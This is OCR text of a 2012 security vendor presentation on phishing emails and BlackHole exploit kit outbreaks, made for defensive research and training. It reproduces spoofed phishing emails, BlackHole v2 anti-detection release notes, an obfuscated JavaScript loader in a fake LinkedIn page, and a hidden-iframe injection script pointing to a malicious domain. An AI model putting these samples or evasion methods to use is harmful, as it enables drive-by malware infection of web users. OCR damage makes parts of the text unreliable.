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The current state of phishing
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m Email Hoaxes and Fraudule... *

Here are a few phrases that are commonly used in phishing email scams:

"Verify your account.” I

Businesses should not ask you to send passwords, logon information or user names, Social Security numbers, or other personal
information through email.

If you receive an email message from Microsoft or any other business asking you to update your credit card information, do not
respond: This is a phishing scam.

"You have won the lottery."” I

The lottery scam is a common phishing scam known as advanced fee fraud, One of the most common forms of advanced fee fraud is a
message that claims that you have won a large sum of money, or that a person will pay you a large sum of money for little or no work
on your part. The lottery scam often includes references to big companies, such as Microsoft. There is no Microsoft Lottery, For more
information, see What is the Microsoft Lottery scam?

"If you don't respond within 48 hours, your account will be closed.” I

These messages convey a sense of urgency so that you'-ll respond immediately without thinking. A phishing email message might even
claim that your response is reguired because your account might have been compromised.

What does a phishing link look like?
Sometimes phishing email messages direct you to spoofed websites.
HTML-formatted messages can contain links or forms that you can fill out just as you would fill out a form on a legitimate website.

Phishing links that you are urged to click in email messages, on websites; or even in instant messages, may contain all or part of a real
company’s name and are usually masked, meaning that the link you see does not take you to that address but somewhere different,
usually an illegitimate website.

Notice in the following example that resting {but not clicking) your mouse pointer on the link reveals the real web address, as shown in
the box with the yellow background. The string of cryptic numbers looks nothing like the company’s web address. This is a suspicious

‘ hméz[[www.wﬂ@;?mnk.com[minscripﬂg&rz.EQ'

[http:fi192.168.255. 205 woodfindex.htm |

Source:
/lwww.microsoft.com/en-au/security/online-privacy/phishing-symptoms.aspx
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File Edit View Favorites Tools Help

What to look for in a phishing email

| 1. Genenc greetmg. I>h|shmg emails are usually sent in large batches. To save time, Internet criminals use
First Generic Bank Customer” so they don't have to type all recipients' names out and

send emails one-by-one. If you don't see your name, be suspicious.

2. ForEed link. IEven if a link has a name you recognize somewhere in it, it doesn't mean it links to the real
organization. Roll your mouse over the link and see if it matches what appears in the email. If there is a
dlscrepency, don't click on the link. Also, websites where it is safe to enter personal information begin

ccure. If you don't see "https" do not proceed.

he point of sending phishing email is to trick you into providing your
an email requesting your personal information, it is probably a

phishing attempt.
4. Sense of urgency.]Internet criminals want you to provide your personal information now. They do this

Py making you think something has happened that requires you to act fast. The faster they get your
information, the faster they can move on to another victim.

1]

Source:
< /lwww.phishtank.com/what is phishing.php
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* What does phishing look like?

The nature of phishing scams is constantly evolving. Currently, onlinefemail phishing
is best described by the following characteristics:

»  Emails using company logos and familiar language reporting a problem and
| asking you to update your account information urgently DIJ].r return email or by

» | Emails with attachments asking you to install software which actually allows
memrtnmputer key strokes (called Keystroke Logging) and

online activity.

. | Emails that contain typographical or grammatical errors. |

« | Windows that pop up over a legitimate companys website asking you to enter
personal information.
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& Invitation - Unicode (UTF-8)

File Edit View Tools Message Help

Subject: Invitation

¢ ® v L X O O w

Reply Reply Al Forward Print Delete ‘ Addresses
From: LinkedIn Invitations
Date: Friday, October 19, 2012 6:04 PM
To:

User sentyou an invitation to connect 4 days ago.

Accept lghore Privately

Raob Lowery

Bank of America Corp. (Executive Director Sales Account Management
Training Performance Support)

You are receiving invitation emails. Unsubscribe

This email was intended for alan_jchnson26@amiie

Learn why we included this

0 2012, Linkedin Corporation. 2023 Stierlin Ct. Mountain View, CA 94043, USA
http: /! JFHNDZ'W findex. html

Linked[{}].

ow would you like to respond?

\ Classification 10/22/2012 ~ Copyright 2009 Trend Micro Inc. 8
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& Bank of America Alert: Online Banking Passcode Modified

File Edit View Tools Message Help ,,'
A \ :
& & v L X © O W
Reply Reply All  Forward Print Delete Addresses
¥ This message is High Priority.
From: Bank of America Alert
Date: Friday, October 19, 2012 11:16 PM
To:
Subject: Bank of America Alert: Online Banking Passcode Modified

exclusively for: | IEG—_—

~—
, : AleTt
Online Banking New Passcode Suln@

Checkpoint:

You last signed on to Online Banking on 10/19/2012.
Remember: Always verify your Siteley® before sign with your Passcade,

To: [
Account:  CHECKING ending in XXX5
Date: 10/19/2012

Bankof Amorica S

Your Online Banking Passcode was requested to be reseted on 10/19/2012,

Your security is important to us, If you are not aware of this modifications, please contact us
immediately at feedback form

Classification 10/22/2012 ~ Copyright 2009 Trend Micro Inc. 9
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& Re: Scan from a Hewlett-Packard ScanJet #1052 - Central European (ISO)

File Edit Vew Tools Message Help ."?,"
g & v L X © O W
Reply Reply Al Forward Print Delete , J Addresses

From: JACKELINEVUYXMI@aol.com

Date: Friday, October 19, 2012 7:31 PM

To:

Subject: Re: Scan from a Hewlett-Packard ScanJet #1052

4 document was scanned and sent @sing a Hewlett-Packard HP4114909

Sent to you by: JACKELINE
Pages : 6
Filetype(s): Images (.jpeq) Yiew

Location: not set,
Device: 9016288

http:ff [border.htm
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File Edit Yiew Tools Message Help

& & w8 2= X @

Reply Reply all  Forward Print Delete
From: Izaiah Kearns
Date: Friday, October 19, 2012 9:54 PM
To:

Subject: Spam:: Photos

-
»
Addresses

L
as promised your photos - h@mkawnoglu.commaﬂ.hnn
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Dear Reuters coms Member,
Welccae to Reuters com!
Pleate chck here %o activate your accoust

Your User 1D i Relrer@hendrc comt

Be e fost 1o know the lten busnens | fancad and world uews headings as they hagpen Reutdit
so0ls ad products to help owr users access the latest news and mitemanna - anyteme, Jaywher

) a s . x n Mram
e x _.“ J “ 2 Hestiny & uee & 19 Manage _.1-} a'me; _?M\. CEEE)
. Denetas scnber A T t-mvad  Uoes Plonawote B Categenee - D Aetated -
Seat w“ of mllmﬂ com wubi now « Deivte  Nepy R::O[ Forward B, poen + £} Repiy & Deicle Y Create e - H?w £} Ao > | ¥ Fotow Up » Tnn.r.lo & Sehectr Toom
° D svdoad an ’. * : t ‘g 1 Mll mit I'Qfl' '”. 3 somces Berpoerrt Quat Repi % Mine =3 - (aeny Jurw
™ G«umndm”tkabmwm T AT O COCTEwTCr STm e o Fore Sel BORNIT AT AN
o Use sereeners to search for pocks and fds St meet your seeds ; ot e LAY
o Setup alerts 1o track ket actiRy . compareet aod porfolio | subiec  viekome to Beuten oo
o Sign up foc didy peweletters 10 20t S ladest Snaccal and workd sews
o Access Rezers awsd-wieserg picnizes 2 wideos | Deer Reuters.com Member,

Welcome to Reuters. com!

Reuters com delrrers profesncnad - grade news, spmion and mnalyns, peondng key decesion m
Sacerely.
Fsxamae Reeves

Please click hige to activate your accommt

Your User ID s Jou_cliver darendmicro com

Be the first 1o kmow the latest basiness , financial and woeld news headlines as they happen Rewters coes is contimuously adding new 1ad immovative
tools and products to help our users access the latest news and information ~ anytime, anywhese .

SR Revtery om

w ' Stant enjoving the benefity of being 3 reuters com swbscriber now

Download analyst 1eseasch yepoats froes 2 mumber of réspected sources

Create resessch watchlists and portfelios to track stocks and other mvestments
Use screeners to search for stocks and funds that meet your peeds
Set up alerts to track macket activity . companics and ponifolios

Sign up for daily newsdetsers to get the Istest financial and world news
Access Reutens award-wisning plotures and videss

Reuters com delivers profe d.grade news, of end analysis, providing key decsion makers their “inside edge *
Sincerely,
Richasd Bawm

Global Edizce, Reuters com
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Typical Outbreak:

Compromised web servers
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Typical Outbreak: Sequence

EXPLOIT PAYLOAD

Gl 5,

REDIRECT AND
URL P

SPAM EMAIL

N |
E3
COMPROMISED
WEBSITE

S #%) TREND
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Scale of the problem

Some of these spam runs account for up to 1% of email
traffic

These attacks are carefully optimised to deliver their
payload

Users have not been trained to deal with these outbreaks

\ Classification 10/22/2012  Copyright 2009 Trend Micro Inc. 15 ‘,j MICRO




Scale of the problem

Exploiting Java is 83% effective (Jason Jones @ BlackHat)

Java Setup - Propress |

Statuz:  Instaling Java

3 Billion Devices Run Java

ORACLE’

Source:
http://media.blackhat.com/bh-us-12/Briefings/Jones/BH US 12 Jones State Web Exploits Slides.pdf
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Scale of the problem

WEIAT BE WE SAY TO
TR JAVA UERATER




Scale of the problem (recent development)

Apple removes Java from all OS X Web browsers
Update is latest example of Apple distancing itself from the Oracle program.
by Dan Goodin - Oct 18 2012, 12:15pm CDT

The version and vendor from the JRE

Missing Plug-in ©

If Java |s working, you will see a pink rectangle above with one line of text

Apple has further distanced itself from Oracle's Java software framework with a Mac
update released on Wednesday that removes a Java plugin from all Mac-compatible
Web browsers.

\ S e



http://arstechnica.com/author/dan-goodin/
http://prod.lists.apple.com/archives/security-announce/2012/Oct/msg00001.html
http://prod.lists.apple.com/archives/security-announce/2012/Oct/msg00001.html

Optimized to Deliver its Payload

Cybercriminal Response

Spam Filters Email identical to legitimate messages
Hundreds or thousands of compromised sites

User training Email identical to legitimate messages
Phishing advice no longer applies

Web Reputation Obfuscated Javascript. Reduce lifetime of landing
pages. Redundant redirection pages. Block TOR.
Etc etc etc.

Vulnerability Detection Use zero day exploits (when available)

Patching [ Users don'tdo it... ]
AV Signatures Constantly updating malware
Firewall [ Too late... ]
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Stopping Detection (Spam Filter)

Typically hundreds of compromised pages on legitimate websites
redirect traffic to the landing pages

In one significant outbreak, we identified 1960 URLs across 291

compromised websites
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Stopping Detection (Web Reputation) .

Landing pages deliver

malicious content => users
no content => crawlers / security vendors / etc
=GOL)816' > e
. . i >
Y 2
/dev/null



Stopping Detection (Web Reputation)

And TOR will not help either...
From the BlackHole version 2 release notes

“d) the opportunity to ban bots on a prepared base of 13k ip
(thanks xshaman) (recommend that you keep it turned on)

d) the opportunity to ban TOR network, Types which are
dynamically updated as the practice most reversers work from
there (it is recommended to always keep on)”



<html><head><title>LinkedIn</title>
</head><body><h2>NOTIFICATIONS</h2>
<h4>

Invitation notifications:

? From Baker Barry (Your Colleague)</h4>

<script>
d=Date;d=new d();h=-

parselnt('012")/5;if(window.document)try{Boolean(true).prototype.a}catch(qqq){st=String;zz="al';zz="zv'.substr(1)+zz;ss=[];if(1){f="fromCh’;
f+="arC",f+='120de".substr(2);}w=this;} e=w([f.substr(11)+zz]; k='y";}

n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.
5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56
~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~
49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22
.5~22.5~48~47.5~51.5~55~47.5~56~60~22~48.5~54.5~53.5~22.5~53.5~47.5~51.5~54~22~55~51~55~30.5~55~47.5~50.5~49.5~29.5
~50~27.5~24.5~49~49.5~23.5~24~48.5~27~23~26.5~49~24~27~49~50~18.5~15~58.5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15

[lines deleted]

22.5~53.5~47.5~51.5~54~22~55~51~55~30.5~55~47.5~50.5~49.5~29.5~50~27.5~24.5~49~49.5~23.5~24~48.5~27~23~26.5~49~24~
27~49~50~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~29.5~18.5~51~51.5~
49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~563~49.5~22~55~54.5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47 .5~48~56.5~54.5
~53~57.5~57~49.5~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~5
3~49.5~22~57~54.5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58.5~51.
5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~51~4
9.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.
5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.
5~23~45.5~22~47.5~55~55~49.5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5""split"]("a~".substr(1));for(i=3-2-
J=60 72 ++){j=I;if(st)ss=ss+st[f](-h*(2-1+1*n[j])); }if(1)g=ss;if(st)

-~ </b </html> @
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Stopping Detection (Web Reputation)

if (document.getelementsbytagname('body")[0]) {
iframer();
} else {
document.write("<iframe src="hxxp://baiparz.com/main.php?page=f93de12c807d28df' width="10'
height="10" style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createelement(‘iframe’);
f.setattribute('src’, 'hxxp://baiparz.com/main.php?page=f93del12c807d28df');
f.style.visibility = 'hidden’;
f.style.position = 'absolute’;
f.style.left ='0";
f.style.top ='0";
f.setattribute(‘width’, '10");
f.setattribute(‘height', '10";
document.getelementsbytagname(‘body")[0].appendchild(f);
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Stopping Detection

Some more examples from the BlackHole version 2 release notes:

1. Implemented maximum protection from Automatic systems
for downloading exploits, used by AV companies: generate a
dynamic URL, which is valid for a few seconds, you need only
to one victim at atime.

2. Now, Your executable also protected from multiple
downloads, AV company can not just download it, which will
keep your exe as long as clean.

3. We not using anymore plugindetect to determine the version
of Java that will remove a lot of the bunch of extra code thus
accelerating the download bundles, as well as file
getJavalnfo, who ran the Java no matter of plugin version
vulnerable or not.
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Stopping Detection

A suggestion was to match the regular expression
[@-z0-9.-]+/[a-zA-Z0-9]{8}/index.html

xxxXg.1t/J7B4Jcdo/index.html
xxxoza-bg.com/CYagS9aU/index.html
xxxtasiquine.com.br/xYjS3FuU/index.html
xxxadi.xxxgenshop.nl/MCgWAeMj/index.html
xxxvillea.com.br/29rZYVvY/index.html
xXxernauta.org.ar/29rz2Y¥YVvY/index.html
xxXxxxxarnaptica.si/AjaAHSlk/index.html
ftp.xxxnplus.sk/ubTwv5QW/index.html
XXXA—-XXXX—-XXXDb-Xxx-xxXxCc0.1t/BULgi6Hg/index.html
www . XxXxacademy.com/77cYBFkE/index.html
xxxxhamedia.co.ke/y2yMPUY4/index.html

WWW.xXxXxX1ldses.ora? Jjournals/index.html

WWW.XXX.oral savedal s ndex.html

WWW . XXX . COI i ndex.html
WWW . XXX .XXX0ONTO. Ca ANIndex.html
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Changes / Experiments in 2012

1.

Traditionally they used random 8 character path names
* Recently the path names have been 6, 7 or 8 characters long

Put the malicious Javascript directly in the spam email (early June
2012)

Reduced the length and volume of spam outbreaks — less spam in

each outbreak — more outbreaks.

* InApril 2012, we saw some outbreaks that account for 1.3% of
email traffic

« Large outbreaks in September 2012 were on the order 0.4% -
0.6% of email traffic

BlackHole v2



Working with free web hosting services

Zymic (99k.org and Zxd.net) have shown significant improvement
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ACH
SendSpace
Friendster
Intuit
Microsoft

8 Oct

Payroll
eFax HP

Skype

BBB

15 Oct

Facebook
Intuit

Recent outbreaks: Oct 2012

Adobe eFax

Breaking News FDIC

Portal Intuit LinkedIn
Celebrity Portal jConnect Verizon
Intuit LinkedIn

IRS PayPal

ADP ACH

eFax Chase .
Facebook CNN ;:yk;::m
UPS LinkedIn

Sprint PayPal

AOL

Federal Reserve Amazon Xerox
Bank LinkedIn

LinkedIn Photos

NetTeller
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Craigslist
NY Traffic
Intuit
UPS

ADP
American
Airlines
Discover

Bank of America
HP

LinkedIn

HP

Microsoft



Recent developments: BHEK version 2

BlackHole version 2 release notes:

“6. In version 1. * link to malicious payload
unfortunately was recognizable for AV
companies and reversers, she [sic] looked
this kind:

/Main.php?Varname=Ilgjlrewgjlrwbnvi2
The new version of the link to the malicious
payload you can choose yourself.”

hxxp:/1174.xxx.yyy.71/links/
raising-peak_suited.php

& Corporate eFax message - 4 pages - Central Furopean (ISO)
i Ble EGR Yew Tooks Message Heb

8 9 “8 \' x ‘Q) Q \\%)

© Reply ReplyAl Forward Print.

® Ths mcssaw&ﬂdaﬁ;mty‘
From: efax

Date: Thersday, September 13, 2012 8:34 PM
)| —|

Subject: Corporste efax massage - 4 pages

Addresses

Fax Message [Caller-1D: 718-786-0012)
You have received 3 4 pages fax at 2012-09-13 12:02:19
GMT,

* The reference number for this fax is minl_didd?-

View this fax using your PDF reader.
Click here to view this messaqe
Please visit www, efax len/efaxtwals /help if you have

it
any questions neuordmo this message or your service.
Thank you for using the eFax service!

<

World Leader in Digial Faxing

heep: ) }/EBSPxiAz]indas.himl
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Our Approach

1.

2.

Honeypots to collect samples

Customer feedback system

« 600 million endpoints

« > 6T1B feedback data / day
10 billion URLs / day

Emulation of scripts at the endpoint (Browser Exploit Solution)
 Machine learning based — not signature based — so it will catch

new variations
« Send malicious reports back into network

Tools to do big data analysis in the backend
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A Study

28 Aug: New Java zero-day vulnerability has been spotted in the wild

30 Aug: Oracle issued an emergency update to patch the critical
vulnerabilities

« Studied 317 BlackHole landing pages delivering files that exploited
CVE-2012-4681 from 30-08-2012 to 03-09-2012

e 317 distinct domains hosted on 109 IPs

 The median landing page was live for 2 hr 45 mins
« earlierin 2012, typicallyl landing page per spam run
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A Study

« Traced the source of the traffic to the landing page
 Many sources
« Spam runs — FedEx — Verizon — Reuters - etc
« Redirection from pornographic websites
« Malvertising on legitimate websites... [T RC]
P gty (IS
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Conclusion
* Accept security patches
« Remove / disable Java

« Say “Yes” to the Java update
Every single time

« Update our advice to end-users
* Improve end user training

 |ndicate to end users which emails are “safe”
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Thanks

Questions?
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